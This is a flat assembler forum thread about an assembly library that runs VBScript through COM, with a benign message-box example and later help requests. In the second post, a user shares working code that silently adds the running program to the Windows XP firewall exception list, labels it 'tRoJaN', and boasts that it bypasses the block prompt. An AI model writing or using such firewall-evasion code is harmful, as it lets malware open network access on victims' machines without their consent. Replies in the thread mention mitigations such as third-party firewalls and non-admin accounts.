flat assembler
Message board for the users of flat assembler.

Index > Projects and Ideas > com library for activex-vbscript calling from assembly

Author
Thread Post new topic Reply to topic
asmhack



Joined: 01 Feb 2008
Posts: 431
asmhack
example code:
Code:
format pe gui 4.0 on 'nul'
entry @@entry
include 'win32a.inc'

section '' import data code writable readable executable

library kernel32,'kernel32',ole32,'ole32',user32,'user32'
import  kernel32,LocalAlloc,'LocalAlloc',LocalFree,'LocalFree',MultiByteToWideChar,'MultiByteToWideChar',WideCharToMultiByte,'WideCharToMultiByte'
import  ole32,CoInitialize,'CoInitialize',CoCreateInstance,'CoCreateInstance',IsEqualGUID,'IsEqualGUID'
import  user32,MessageBox,'MessageBoxA'

include 'com.asm'

@@entry:
call @@StartScriptEngine
vbscall 'randomize : v = cstr(int(rnd*100)+1)'
stdcall [MessageBox],$0,eax,eax,$0
vbsfree
vbscall 'set w = createobject("wscript.shell")'
vbscall ':msgbox w.specialfolders("desktop"),,time'
vbscall ':set w = nothing'
xor esp,esp
    


Description: component object model library for activex-vbscript calling from assembly
flat assembler 1.6 syntax, x86-win32
version 1b (tested on x86-win32 xp sp2)

Download
Filename: com.asm
Filesize: 14.06 KB
Downloaded: 580 Time(s)

Post 18 Feb 2008, 19:47
View user's profile Send private message Reply with quote
MHajduk



Joined: 30 Mar 2006
Posts: 6029
Location: Poland
MHajduk
Thanks. Smile It's only a pity that this piece of code wasn't published on this forum a year ago when I was searching implementation of COM for execution VBS scripts in FASM... Wink However, I liked very much your idea of 'vbscall' macro. Smile
Post 18 Feb 2008, 20:02
View user's profile Send private message Visit poster's website Reply with quote
asmhack



Joined: 01 Feb 2008
Posts: 431
asmhack
thanks mhajduk,
using this shit can be very usefull sometimes Wink

here is another example that adds your program to windows xp sp2 firewall exception list, bypassing by this way the block prompt... Twisted Evil

Image

Code:
format pe gui 4.0 on 'nul'
entry @@entry 
include 'win32a.inc' 

section '' import data code writable readable executable 

library kernel32,'kernel32',user32,'user32',ole32,'ole32'
include 'api/kernel32.inc'
include 'api/user32.inc'
import  ole32,CoInitialize,'CoInitialize',CoCreateInstance,'CoCreateInstance',IsEqualGUID,'IsEqualGUID'

include 'com.asm'

xx1      db 'on error resume next',\
            ':set f  = createobject("hnetcfg.fwmgr")',\
            ':set a  = createobject("hnetcfg.fwauthorizedapplication")',\
            ':set p  = f.localpolicy.currentprofile',\
            ':a.name = "tRoJaN"',\
            ':a.processimagefilename="'
filename rb $100
xx2      db '":a.enabled = 1',\
            ':p.authorizedapplications.add a',$0

@@entry:

call @@StartScriptEngine
stdcall [GetModuleFileName],$0,filename,$FF
stdcall [lstrcat],filename,xx2

stdcall @@RunScript,xx1
stdcall [ExitProcess],$0
    
Post 19 Feb 2008, 14:20
View user's profile Send private message Reply with quote
MHajduk



Joined: 30 Mar 2006
Posts: 6029
Location: Poland
MHajduk
Well, well... Smile

This could be another reason why we should use other, third-party, firewalls. Wink
Post 19 Feb 2008, 15:03
View user's profile Send private message Visit poster's website Reply with quote
f0dder



Joined: 19 Feb 2004
Posts: 3170
Location: Denmark
f0dder
MHajduk wrote:
Well, well... Smile

This could be another reason why we should use other, third-party, firewalls. Wink

Or just run from non-admin user accounts, duh. Rolling Eyes

Pretty lame going through vbscript just to set a firewall exception, but I guess it's easier than learning how to deal with the COM objects for doing so. Rolling Eyes

_________________
Image - carpe noctem
Post 19 Feb 2008, 16:16
View user's profile Send private message Visit poster's website Reply with quote
Picnic



Joined: 05 May 2007
Posts: 1281
Location: countryside
Picnic
Hey that's nice, thanks for the download asmhack.
Post 09 Mar 2008, 21:57
View user's profile Send private message Reply with quote
bitRAKE



Joined: 21 Jul 2003
Posts: 2796
Location: dank orb
bitRAKE
I like your style - lots of good snippets lately.

_________________
¯\(°_o)/¯ unlicense.org
Post 10 Mar 2008, 00:57
View user's profile Send private message Visit poster's website Reply with quote
Xekep



Joined: 14 Sep 2014
Posts: 1
Xekep
help me please Sad

Code:
call @@StartScriptEngine 
vbscall 'randomize : v = cstr(int(rnd*100)+1)' 
stdcall [MessageBox],$0,eax,eax,$0 
    

register eax after executing vbscall always is 0


windows 8 x64 Sad
Post 28 Sep 2014, 14:56
View user's profile Send private message Reply with quote
comrade



Joined: 16 Jun 2003
Posts: 1137
Location: Russian Federation
comrade
What is 'vbscall' ?
Post 29 Sep 2014, 08:16
View user's profile Send private message Visit poster's website AIM Address Yahoo Messenger MSN Messenger ICQ Number Reply with quote
smiddy



Joined: 31 Oct 2004
Posts: 559
smiddy
Visual Basic Script? Call...
Post 29 Sep 2014, 09:48
View user's profile Send private message Reply with quote
Display posts from previous:
Post new topic Reply to topic

Jump to:  


< Last Thread | Next Thread >
Forum Rules:
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Copyright © 1999-2019, Tomasz Grysztar.

Powered by rwasa.